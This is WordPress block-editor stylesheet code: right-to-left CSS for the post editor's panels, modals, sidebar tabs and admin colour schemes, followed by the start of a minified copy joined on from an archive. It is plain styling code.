.components-editor-notices__snackbar { right: 0; } @media (min-width: 783px) { .folded .edit-post-layout .components-editor-notices__snackbar { right: 36px; } } /* Mobile menu opened. */ @media (max-width: 783px) { .auto-fold .wp-responsive-open .edit-post-layout .components-editor-notices__snackbar { right: 190px; } } /* In small screens with responsive menu expanded there is small white space. */ @media (max-width: 600px) { .auto-fold .wp-responsive-open .edit-post-layout .components-editor-notices__snackbar { margin-right: -18px; } } body.is-fullscreen-mode .edit-post-layout .components-editor-notices__snackbar { right: 0 !important; } .edit-post-layout .editor-post-publish-panel { position: fixed; z-index: 100001; top: 46px; bottom: 0; left: 0; right: 0; overflow: auto; } @media (min-width: 782px) { .edit-post-layout .editor-post-publish-panel { z-index: 99998; top: 32px; right: auto; width: 281px; border-right: 1px solid #ddd; transform: translateX(-100%); animation: edit-post-post-publish-panel__slide-in-animation 0.1s forwards; } } @media (min-width: 782px) and (prefers-reduced-motion: reduce) { .edit-post-layout .editor-post-publish-panel { animation-duration: 1ms; } } @media (min-width: 782px) { body.is-fullscreen-mode .edit-post-layout .editor-post-publish-panel { top: 0; } } @media (min-width: 782px) { [role=region]:focus .edit-post-layout .editor-post-publish-panel { transform: translateX(0%); } } @keyframes edit-post-post-publish-panel__slide-in-animation { 100% { transform: translateX(0%); } } .edit-post-layout .editor-post-publish-panel__header-publish-button { justify-content: center; } .edit-post-layout__toggle-publish-panel, .edit-post-layout__toogle-sidebar-panel, .edit-post-layout__toggle-entities-saved-states-panel { z-index: 100000; position: fixed !important; top: -9999em; bottom: auto; right: auto; left: 0; width: 280px; background-color: #fff; border: 1px dotted #ddd; height: auto !important; padding: 24px; display: flex; justify-content: center; } .interface-interface-skeleton__actions:focus .edit-post-layout__toggle-publish-panel, .interface-interface-skeleton__actions:focus-within .edit-post-layout__toggle-publish-panel, .interface-interface-skeleton__actions:focus .edit-post-layout__toogle-sidebar-panel, .interface-interface-skeleton__actions:focus-within .edit-post-layout__toogle-sidebar-panel, .interface-interface-skeleton__actions:focus .edit-post-layout__toggle-entities-saved-states-panel, .interface-interface-skeleton__actions:focus-within .edit-post-layout__toggle-entities-saved-states-panel { top: auto; bottom: 0; } .edit-post-layout .interface-interface-skeleton__content { background-color: #ccc; } .edit-post-layout__inserter-panel { height: 100%; display: flex; flex-direction: column; } .edit-post-layout__inserter-panel-header { padding-top: 8px; padding-left: 8px; display: flex; justify-content: flex-end; } @media (min-width: 782px) { .edit-post-layout__inserter-panel-header { display: none; } } .edit-post-layout__inserter-panel-content { height: calc(100% - 36px - 8px); } @media (min-width: 782px) { .edit-post-layout__inserter-panel-content { height: 100%; } } @media (min-width: 600px) { .edit-post-manage-blocks-modal { height: calc(100% - 60px - 60px); } } .edit-post-manage-blocks-modal .components-modal__content { padding-bottom: 0; display: flex; flex-direction: column; } .edit-post-manage-blocks-modal .components-modal__header { flex-shrink: 0; margin-bottom: 0; } .edit-post-manage-blocks-modal__content { display: flex; flex-direction: column; flex: 0 1 100%; min-height: 0; } .edit-post-manage-blocks-modal__no-results { font-style: italic; padding: 24px 0; text-align: center; } .edit-post-manage-blocks-modal__search { margin: 16px 0; } .edit-post-manage-blocks-modal__search .components-base-control__field { margin-bottom: 0; } .edit-post-manage-blocks-modal__search .components-base-control__label { margin-top: -4px; } .edit-post-manage-blocks-modal__search input[type=search].components-text-control__input { padding: 8px; border-radius: 2px; } .edit-post-manage-blocks-modal__disabled-blocks-count { border-top: 1px solid #ddd; margin-right: -24px; margin-left: -24px; padding-top: 0.6rem; padding-bottom: 0.6rem; padding-right: 24px; padding-left: 24px; background-color: #f0f0f0; } .edit-post-manage-blocks-modal__category { margin: 0 0 2rem 0; } .edit-post-manage-blocks-modal__category-title { position: -webkit-sticky; position: sticky; top: 0; padding: 16px 0; background-color: #fff; z-index: 1; } .edit-post-manage-blocks-modal__category-title .components-base-control__field { margin-bottom: 0; } .edit-post-manage-blocks-modal__category-title .components-checkbox-control__label { font-size: 0.9rem; font-weight: 600; } .edit-post-manage-blocks-modal__show-all { margin-left: 8px; } .edit-post-manage-blocks-modal__checklist { margin-top: 0; } .edit-post-manage-blocks-modal__checklist-item { margin-bottom: 0; padding-right: 16px; border-top: 1px solid #ddd; } .edit-post-manage-blocks-modal__checklist-item:last-child { border-bottom: 1px solid #ddd; } .edit-post-manage-blocks-modal__checklist-item .components-base-control__field { align-items: center; display: flex; margin: 0; } .components-modal__content .edit-post-manage-blocks-modal__checklist-item.components-checkbox-control__input-container { margin: 0 8px; } .edit-post-manage-blocks-modal__checklist-item .components-checkbox-control__label { display: flex; align-items: center; justify-content: space-between; flex-grow: 1; padding: 0.6rem 10px 0.6rem 0; } .edit-post-manage-blocks-modal__checklist-item .block-editor-block-icon { margin-left: 10px; fill: #1e1e1e; } .edit-post-manage-blocks-modal__results { height: 100%; overflow: auto; margin-right: -24px; margin-left: -24px; padding-right: 24px; padding-left: 24px; border-top: 1px solid #ddd; } .edit-post-meta-boxes-area { position: relative; /** * The wordpress default for most meta-box elements is content-box. Some * elements such as textarea and input are set to border-box in forms.css. * These elements therefore specifically set back to border-box here, while * other elements (such as .button) are unaffected by Gutenberg's style * because of their higher specificity. */ /* Match width and positioning of the meta boxes. Override default styles. */ /* Override Default meta box stylings */ } .edit-post-meta-boxes-area__container, .edit-post-meta-boxes-area .inside { box-sizing: content-box; } .edit-post-meta-boxes-area textarea, .edit-post-meta-boxes-area input { box-sizing: border-box; } .edit-post-meta-boxes-area #poststuff { margin: 0 auto; padding-top: 0; min-width: auto; } .edit-post-meta-boxes-area #poststuff h3.hndle, .edit-post-meta-boxes-area #poststuff .stuffbox > h3, .edit-post-meta-boxes-area #poststuff h2.hndle { /* WordPress selectors yolo */ box-sizing: border-box; color: inherit; font-weight: 600; outline: none; padding: 15px; position: relative; width: 100%; } .edit-post-meta-boxes-area .postbox { border: 0; color: inherit; margin-bottom: 0; } .edit-post-meta-boxes-area .postbox > .inside { border-bottom: 1px solid #ddd; color: inherit; padding: 0 14px 14px; margin: 0; } .edit-post-meta-boxes-area .postbox .handlediv { height: 44px; width: 44px; } .edit-post-meta-boxes-area.is-loading::before { position: absolute; top: 0; right: 0; left: 0; bottom: 0; content: ""; background: transparent; z-index: 1; } .edit-post-meta-boxes-area .components-spinner { position: absolute; top: 10px; left: 20px; z-index: 5; } .edit-post-meta-boxes-area .is-hidden { display: none; } .edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox] { border: 1px solid #757575; } .edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:checked { background: #fff; border-color: #757575; } .edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]::before { margin: -3px -4px; } .edit-post-meta-boxes-area__clear { clear: both; } .edit-post-preferences-modal { min-width: 360px; width: 100%; } @media (min-width: 782px) { .edit-post-preferences-modal { width: auto; } } @media (min-width: 600px) { .edit-post-preferences-modal { height: calc(100% - 60px - 60px); } } .edit-post-preferences-modal .components-navigation { background-color: #fff; margin: -8px; padding: 8px; } .edit-post-preferences-modal .components-navigation .components-navigation__menu { margin: 0; color: #1e1e1e; } .edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__item { color: #1e1e1e; } .edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__item > button { color: inherit; padding: 3px 16px; height: 48px; } .edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__item > button:focus { background: #f0f0f0; font-weight: 500; } .edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__item > button:hover { color: #007cba; color: var(--wp-admin-theme-color); } .edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__item .components-toggle-control__label { color: inherit; } .edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__menu-title-heading { color: inherit; border-bottom: 1px solid #ddd; padding-right: 0; padding-left: 0; } .edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__back-button { color: inherit; padding-right: 0; } .edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__back-button:hover { color: #007cba; color: var(--wp-admin-theme-color); } .edit-post-preferences-modal .components-navigation .components-navigation__menu .edit-post-preferences-modal__custom-fields-confirmation-button { width: auto; } .edit-post-preferences-modal .edit-post-preferences__tabs { display: flex; flex-direction: row; } .edit-post-preferences-modal .edit-post-preferences__tabs .components-tab-panel__tabs { width: 160px; } .edit-post-preferences-modal .edit-post-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item { border-radius: 2px; font-weight: 400; } .edit-post-preferences-modal .edit-post-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item.is-active { background: #f0f0f0; box-shadow: none; font-weight: 500; } .edit-post-preferences-modal .edit-post-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item:focus:not(:disabled) { box-shadow: inset 0 0 0 2px #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .edit-post-preferences-modal .edit-post-preferences__tabs .components-tab-panel__tab-content { width: 500px; padding-right: 24px; } .edit-post-preferences-modal__section { margin: 0 0 2.5rem 0; } .edit-post-preferences-modal__section-title { font-size: 0.9rem; font-weight: 600; } .edit-post-preferences-modal__option .components-base-control .components-base-control__field { align-items: center; display: flex; margin-bottom: 0; } .edit-post-preferences-modal__option .components-base-control .components-base-control__field > label { flex-grow: 1; padding: 0.6rem 10px 0.6rem 0; } .edit-post-preferences-modal__custom-fields-confirmation-message, .edit-post-preferences-modal__custom-fields-confirmation-button { margin: 0 48px 0.6rem 0; } @media (min-width: 782px) { .edit-post-preferences-modal__custom-fields-confirmation-message, .edit-post-preferences-modal__custom-fields-confirmation-button { margin-right: 38px; } } @media (min-width: 600px) { .edit-post-preferences-modal__custom-fields-confirmation-message, .edit-post-preferences-modal__custom-fields-confirmation-button { max-width: 300px; } } .edit-post-preferences-modal .components-base-control__help { margin: -8px 58px 8px 0; font-size: 12px; font-style: normal; color: #757575; } .edit-post-preferences-modal .edit-post-preferences-modal__section-description { margin: -8px 0 8px 0; font-size: 12px; font-style: normal; color: #757575; } .components-panel__header.edit-post-sidebar__panel-tabs { justify-content: flex-start; padding-right: 0; padding-left: 16px; border-top: 0; margin-top: 0; } .components-panel__header.edit-post-sidebar__panel-tabs ul { display: flex; } .components-panel__header.edit-post-sidebar__panel-tabs li { margin: 0; } .components-panel__header.edit-post-sidebar__panel-tabs .components-button.has-icon { display: none; margin: 0 auto 0 0; padding: 0; min-width: 24px; height: 24px; } @media (min-width: 782px) { .components-panel__header.edit-post-sidebar__panel-tabs .components-button.has-icon { display: flex; } } .components-panel__body.is-opened.edit-post-last-revision__panel { padding: 0; height: 48px; } .editor-post-last-revision__title.components-button { padding: 16px; } .editor-post-author__select { margin: -5px 0; width: 100%; } @supports ((position: -webkit-sticky) or (position: sticky)) { .editor-post-author__select { width: auto; } } .edit-post-post-link__link-post-name { font-weight: 600; } .edit-post-post-link__preview-label { font-weight: 400; margin: 0; } .edit-post-post-link__link { text-align: right; word-wrap: break-word; display: block; } .edit-post-post-link__preview-link-container { direction: ltr; } .edit-post-post-schedule { width: 100%; position: relative; justify-content: left; } .edit-post-post-schedule span { display: block; width: 45%; } .components-button.edit-post-post-schedule__toggle { text-align: left; } .editor-post-slug__input { margin: -5px 0; padding: 2px; } .edit-post-post-status .edit-post-post-publish-dropdown__switch-to-draft { margin-top: 15px; width: 100%; text-align: center; } .edit-post-post-template { width: 100%; justify-content: left; } .edit-post-post-template span { display: block; width: 45%; } .edit-post-post-template__value { padding-right: 6px; } .edit-post-post-visibility { width: 100%; justify-content: left; } .edit-post-post-visibility span { display: block; width: 45%; } @media (min-width: 782px) { .edit-post-post-visibility__dialog .components-popover__content { width: 257px; } } .edit-post-post-visibility__dialog-legend { font-weight: 600; } .edit-post-post-visibility__choice { margin: 10px 0; } .edit-post-post-visibility__dialog-radio, .edit-post-post-visibility__dialog-label { vertical-align: top; } .edit-post-post-visibility__dialog-password-input { width: calc(100% - 20px); margin-right: 20px; } .edit-post-post-visibility__dialog-info { color: #757575; padding-right: 20px; font-style: italic; margin: 4px 0 0; line-height: 1.4; } .components-button.edit-post-sidebar__panel-tab { border-radius: 0; height: 48px; background: transparent; border: none; box-shadow: none; cursor: pointer; display: inline-block; padding: 3px 15px; margin-right: 0; font-weight: 500; } .components-button.edit-post-sidebar__panel-tab::after { content: attr(data-label); display: block; font-weight: 600; height: 0; overflow: hidden; speak: none; visibility: hidden; } .components-button.edit-post-sidebar__panel-tab.is-active { box-shadow: inset 0 0 0 2px transparent, inset 0 -4px 0 0 #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) transparent, inset 0 -4px 0 0 var(--wp-admin-theme-color); position: relative; z-index: 1; } .components-button.edit-post-sidebar__panel-tab.is-active::before { content: ""; position: absolute; top: 0; bottom: 1px; left: 0; right: 0; border-bottom: 4px solid transparent; } .components-button.edit-post-sidebar__panel-tab:focus { box-shadow: inset 0 0 0 2px #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); position: relative; z-index: 1; } .components-button.edit-post-sidebar__panel-tab.is-active:focus { box-shadow: inset 0 0 0 2px #007cba, inset 0 -4px 0 0 #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 -4px 0 0 var(--wp-admin-theme-color); } .edit-post-text-editor { position: relative; width: 100%; background-color: #fff; flex-grow: 1; } .edit-post-text-editor .wp-block.editor-post-title { max-width: none; line-height: 1.4; } .edit-post-text-editor .wp-block.editor-post-title .editor-post-title__input.editor-post-title__input.editor-post-title__input { font-family: Menlo, Consolas, monaco, monospace; font-size: 2.5em; font-weight: normal; } .edit-post-text-editor .wp-block.editor-post-title .editor-post-title__input { border: 1px solid #949494; margin-bottom: -1px; padding: 16px; } @media (min-width: 600px) { .edit-post-text-editor .wp-block.editor-post-title .editor-post-title__input { padding: 24px; } } .edit-post-text-editor .wp-block.editor-post-title .editor-post-title__input:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } @media (min-width: 600px) { .edit-post-text-editor .wp-block.editor-post-title { padding: 0; } } .edit-post-text-editor__body { width: 100%; padding: 0 12px 12px 12px; max-width: 1080px; margin-right: auto; margin-left: auto; } @media (min-width: 960px) { .edit-post-text-editor__body { padding: 16px 24px 96px 24px; padding: 0 24px 24px 24px; } } .edit-post-text-editor__toolbar { position: -webkit-sticky; position: sticky; z-index: 1; top: 0; right: 0; left: 0; display: flex; background: rgba(255, 255, 255, 0.8); padding: 4px 12px; } @media (min-width: 600px) { .edit-post-text-editor__toolbar { padding: 12px; } } @media (min-width: 960px) { .edit-post-text-editor__toolbar { padding: 12px 24px; } } .edit-post-text-editor__toolbar h2 { line-height: 36px; margin: 0 0 0 auto; font-size: 13px; color: #1e1e1e; } .edit-post-text-editor__toolbar .components-button svg { order: 1; } .edit-post-visual-editor { position: relative; flex: 1 1 auto; } .edit-post-visual-editor .components-button { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; padding: 6px 12px; } .edit-post-visual-editor .components-button.is-tertiary, .edit-post-visual-editor .components-button.has-icon { padding: 6px; } @supports ((position: -webkit-sticky) or (position: sticky)) { .edit-post-visual-editor { flex-basis: 100%; } } .editor-styles-wrapper { background-color: #fff; cursor: text; } .editor-styles-wrapper > * { cursor: auto; } .edit-post-visual-editor__post-title-wrapper .editor-post-title { margin-top: 2em; margin-right: auto; margin-left: auto; margin-bottom: 28px; } .edit-post-welcome-guide { width: 312px; } .edit-post-welcome-guide__image { background: #00a0d2; height: 240px; } .edit-post-welcome-guide__image__prm-r { display: none; } @media (prefers-reduced-motion: reduce) { .edit-post-welcome-guide__image__prm-r { display: block; } .edit-post-welcome-guide__image__prm-np { display: none; } } .edit-post-welcome-guide__heading { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 24px; line-height: 1.4; margin: 0 0 16px 0; padding: 0 32px; } .edit-post-welcome-guide__text { font-size: 13px; line-height: 1.4; margin: 0 0 24px 0; padding: 0 32px; } .edit-post-welcome-guide__inserter-icon { margin: 0 4px; vertical-align: text-top; } /** * Animations */ @keyframes edit-post__fade-in-animation { from { opacity: 0; } to { opacity: 1; } } html.wp-toolbar { background: #fff; } body.block-editor-page { background: #fff; /* We hide legacy notices in Gutenberg Based Pages, because they were not designed in a way that scaled well. Plugins can use Gutenberg notices if they need to pass on information to the user when they are editing. */ } body.block-editor-page #wpcontent { padding-right: 0; } body.block-editor-page #wpbody-content { padding-bottom: 0; } body.block-editor-page #wpbody-content > div:not(.block-editor):not(#screen-meta) { display: none; } body.block-editor-page #wpfooter { display: none; } body.block-editor-page .a11y-speak-region { right: -1px; top: -1px; } body.block-editor-page ul#adminmenu a.wp-has-current-submenu::after, body.block-editor-page ul#adminmenu > li.current > a.current::after { border-left-color: #fff; } body.block-editor-page .media-frame select.attachment-filters:last-of-type { width: auto; max-width: 100%; } .edit-post-header, .edit-post-visual-editor, .edit-post-text-editor, .edit-post-sidebar, .editor-post-publish-panel, .components-popover, .components-modal__frame, .edit-post-layout__inserter-panel { box-sizing: border-box; } .edit-post-header *, .edit-post-header *::before, .edit-post-header *::after, .edit-post-visual-editor *, .edit-post-visual-editor *::before, .edit-post-visual-editor *::after, .edit-post-text-editor *, .edit-post-text-editor *::before, .edit-post-text-editor *::after, .edit-post-sidebar *, .edit-post-sidebar *::before, .edit-post-sidebar *::after, .editor-post-publish-panel *, .editor-post-publish-panel *::before, .editor-post-publish-panel *::after, .components-popover *, .components-popover *::before, .components-popover *::after, .components-modal__frame *, .components-modal__frame *::before, .components-modal__frame *::after, .edit-post-layout__inserter-panel *, .edit-post-layout__inserter-panel *::before, .edit-post-layout__inserter-panel *::after { box-sizing: inherit; } @media (min-width: 600px) { .block-editor__container { position: absolute; top: 0; left: 0; bottom: 0; right: 0; min-height: calc(100vh - 46px); } } @media (min-width: 782px) { .block-editor__container { min-height: calc(100vh - 32px); } body.is-fullscreen-mode .block-editor__container { min-height: 100vh; } } .block-editor__container img { max-width: 100%; height: auto; } .block-editor__container iframe { width: 100%; } .wp-block { max-width: 840px; } .wp-block[data-align=wide] { max-width: 1100px; } .wp-block[data-align=full] { max-width: none; } body.admin-color-light { --wp-admin-theme-color: #0085ba; --wp-admin-theme-color-darker-10: #0073a1; --wp-admin-theme-color-darker-20: #006187; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-light { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-modern { --wp-admin-theme-color: #3858e9; --wp-admin-theme-color-darker-10: #2145e6; --wp-admin-theme-color-darker-20: #183ad6; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-modern { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-blue { --wp-admin-theme-color: #096484; --wp-admin-theme-color-darker-10: #07526c; --wp-admin-theme-color-darker-20: #064054; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-blue { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-coffee { --wp-admin-theme-color: #46403c; --wp-admin-theme-color-darker-10: #383330; --wp-admin-theme-color-darker-20: #2b2724; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-coffee { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-ectoplasm { --wp-admin-theme-color: #523f6d; --wp-admin-theme-color-darker-10: #46365d; --wp-admin-theme-color-darker-20: #3a2c4d; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-ectoplasm { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-midnight { --wp-admin-theme-color: #e14d43; --wp-admin-theme-color-darker-10: #dd382d; --wp-admin-theme-color-darker-20: #d02c21; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-midnight { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-ocean { --wp-admin-theme-color: #627c83; --wp-admin-theme-color-darker-10: #576e74; --wp-admin-theme-color-darker-20: #4c6066; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-ocean { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-sunrise { --wp-admin-theme-color: #dd823b; --wp-admin-theme-color-darker-10: #d97426; --wp-admin-theme-color-darker-20: #c36922; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-sunrise { --wp-admin-border-width-focus: 1.5px; } }css/dist/edit-post/style-rtl.min.css000064400000126201151202620300013433 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.components-panel__header.interface-complementary-area-header__small{background:#fff;padding-left:4px}.components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}@media (min-width:782px){.components-panel__header.interface-complementary-area-header__small{display:none}}.interface-complementary-area-header{background:#fff;padding-left:4px}.interface-complementary-area-header .components-button.has-icon{display:none;margin-right:auto}.interface-complementary-area-header .components-button.has-icon~.components-button{margin-right:0}@media (min-width:782px){.interface-complementary-area-header .components-button.has-icon{display:flex}}.interface-complementary-area{background:#fff;color:#1e1e1e}@media (min-width:600px){.interface-complementary-area{-webkit-overflow-scrolling:touch}}@media (min-width:782px){.interface-complementary-area{width:280px}}.interface-complementary-area .components-panel{border:none}.interface-complementary-area .components-panel__header{position:-webkit-sticky;position:sticky;top:0;z-index:1}.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:48px}@media (min-width:782px){.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:0}}.interface-complementary-area p{margin-top:0}.interface-complementary-area h2,.interface-complementary-area h3{font-size:13px;color:#1e1e1e;margin-bottom:1.5em}.interface-complementary-area hr{border-top:none;border-bottom:1px solid #f0f0f0;margin:1.5em 0}.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{box-shadow:none;margin-bottom:1.5em}.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{margin-bottom:0}.interface-complementary-area .block-editor-skip-to-selected-block:focus{top:auto;left:10px;bottom:10px;right:auto}@media (min-width:782px){body.js.is-fullscreen-mode{margin-top:-32px;height:calc(100% + 32px)}body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{display:none}body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{margin-right:0}}html.interface-interface-skeleton__html-container{position:fixed;width:100%}@media (min-width:782px){html.interface-interface-skeleton__html-container{position:static;width:auto}}.interface-interface-skeleton{display:flex;flex-direction:row;height:auto;max-height:100%;position:fixed;top:46px;left:0;bottom:0}@media (min-width:783px){.interface-interface-skeleton{top:32px}.is-fullscreen-mode .interface-interface-skeleton{top:0}}.interface-interface-skeleton__editor{display:flex;flex-direction:column;flex:0 1 100%;overflow:hidden}.interface-interface-skeleton{right:0}@media (min-width:783px){.interface-interface-skeleton{right:160px}}@media (min-width:783px){.auto-fold .interface-interface-skeleton{right:36px}}@media (min-width:961px){.auto-fold .interface-interface-skeleton{right:160px}}.folded .interface-interface-skeleton{right:0}@media (min-width:783px){.folded .interface-interface-skeleton{right:36px}}@media (max-width:783px){.auto-fold .wp-responsive-open .interface-interface-skeleton{right:190px}}@media (max-width:600px){.auto-fold .wp-responsive-open .interface-interface-skeleton{margin-right:-18px}}body.is-fullscreen-mode .interface-interface-skeleton{right:0!important}.interface-interface-skeleton__body{flex-grow:1;display:flex;overflow:auto;overscroll-behavior-y:none}@media (min-width:782px){.has-footer .interface-interface-skeleton__body{padding-bottom:25px}}.interface-interface-skeleton__content{flex-grow:1;display:flex;flex-direction:column;overflow:auto}.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{display:block;flex-shrink:0;position:absolute;z-index:100000;top:0;left:0;bottom:0;right:0;background:#fff;color:#1e1e1e}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{position:relative!important;z-index:90;width:auto}}.interface-interface-skeleton__sidebar{overflow:auto}@media (min-width:782px){.interface-interface-skeleton__sidebar{border-right:1px solid #e0e0e0}}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar{border-left:1px solid #e0e0e0}}.interface-interface-skeleton__header{flex-shrink:0;height:auto;border-bottom:1px solid #e0e0e0;z-index:30;color:#1e1e1e;position:-webkit-sticky;position:sticky;top:0}@media (min-width:600px){.interface-interface-skeleton__header{position:static;top:0}}.interface-interface-skeleton__footer{height:auto;flex-shrink:0;border-top:1px solid #e0e0e0;color:#1e1e1e;position:absolute;bottom:0;right:0;width:100%;background-color:#fff;z-index:90;display:none}@media (min-width:782px){.interface-interface-skeleton__footer{display:flex}}.interface-interface-skeleton__footer .block-editor-block-breadcrumb{z-index:30;display:flex;background:#fff;height:24px;align-items:center;font-size:13px;padding:0 18px}.interface-interface-skeleton__actions{z-index:100000;position:fixed!important;top:-9999em;bottom:auto;right:auto;left:0;width:280px;color:#1e1e1e}.interface-interface-skeleton__actions:focus{top:auto;bottom:0}.interface-pinned-items{display:flex}.interface-pinned-items .components-button:not(:first-child){display:none}@media (min-width:600px){.interface-pinned-items .components-button:not(:first-child){display:flex}}.interface-pinned-items .components-button{margin-right:4px}.interface-pinned-items .components-button svg{max-width:24px;max-height:24px}.edit-post-header{height:60px;background:#fff;display:flex;flex-wrap:wrap;align-items:center;max-width:100vw}@media (min-width:280px){.edit-post-header{flex-wrap:nowrap}}.edit-post-header>.edit-post-header__settings{order:1}@supports ((position:-webkit-sticky) or (position:sticky)){.edit-post-header>.edit-post-header__settings{order:0}}.edit-post-header__toolbar{display:flex;flex-grow:1}.edit-post-header__toolbar .table-of-contents{display:none}@media (min-width:600px){.edit-post-header__toolbar .table-of-contents{display:block}}.edit-post-header__settings{display:inline-flex;align-items:center;flex-wrap:wrap;padding-left:4px}@media (min-width:600px){.edit-post-header__settings{padding-left:16px}}.edit-post-header__settings .components-button.components-button,.edit-post-header__settings .editor-post-saved-state{margin-left:4px}@media (min-width:600px){.edit-post-header__settings .components-button.components-button,.edit-post-header__settings .editor-post-saved-state{margin-left:12px}}.edit-post-header__settings .components-button.is-tertiary,.edit-post-header__settings .editor-post-saved-state{padding:0 6px}.edit-post-header__settings .edit-post-more-menu .components-button,.edit-post-header__settings .interface-pinned-items .components-button{margin-left:0}.edit-post-header-preview__grouping-external{display:flex;position:relative;padding-bottom:0}.edit-post-header-preview__button-external{padding-right:8px;margin-left:auto;width:100%;display:flex;justify-content:flex-start}.edit-post-header-preview__button-external svg{margin-right:auto}.edit-post-post-preview-dropdown .components-popover__content>div{padding-bottom:0}.edit-post-header__dropdown .components-button.has-icon,.show-icon-labels .edit-post-header .components-button.has-icon,.show-icon-labels.interface-pinned-items .components-button.has-icon{width:auto}.edit-post-header__dropdown .components-button.has-icon svg,.show-icon-labels .edit-post-header .components-button.has-icon svg,.show-icon-labels.interface-pinned-items .components-button.has-icon svg{display:none}.edit-post-header__dropdown .components-button.has-icon:after,.show-icon-labels .edit-post-header .components-button.has-icon:after,.show-icon-labels.interface-pinned-items .components-button.has-icon:after{content:attr(aria-label)}.edit-post-header__dropdown .components-button.has-icon[aria-disabled=true],.show-icon-labels .edit-post-header .components-button.has-icon[aria-disabled=true],.show-icon-labels.interface-pinned-items .components-button.has-icon[aria-disabled=true]{background-color:transparent}.edit-post-header__dropdown .is-tertiary:active,.show-icon-labels .edit-post-header .is-tertiary:active,.show-icon-labels.interface-pinned-items .is-tertiary:active{box-shadow:0 0 0 1.5px #007cba;box-shadow:0 0 0 1.5px var(--wp-admin-theme-color);background-color:transparent}.edit-post-header__dropdown .components-button.has-icon.button-toggle svg,.edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon svg,.show-icon-labels .edit-post-header .components-button.has-icon.button-toggle svg,.show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon svg,.show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle svg,.show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon svg{display:block}.edit-post-header__dropdown .components-button.has-icon.button-toggle:after,.edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon:after,.show-icon-labels .edit-post-header .components-button.has-icon.button-toggle:after,.show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon:after,.show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle:after,.show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon:after{content:none}.edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon,.show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon,.show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon{width:60px}.edit-post-header__dropdown .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon,.show-icon-labels .edit-post-header .components-menu-items-choice 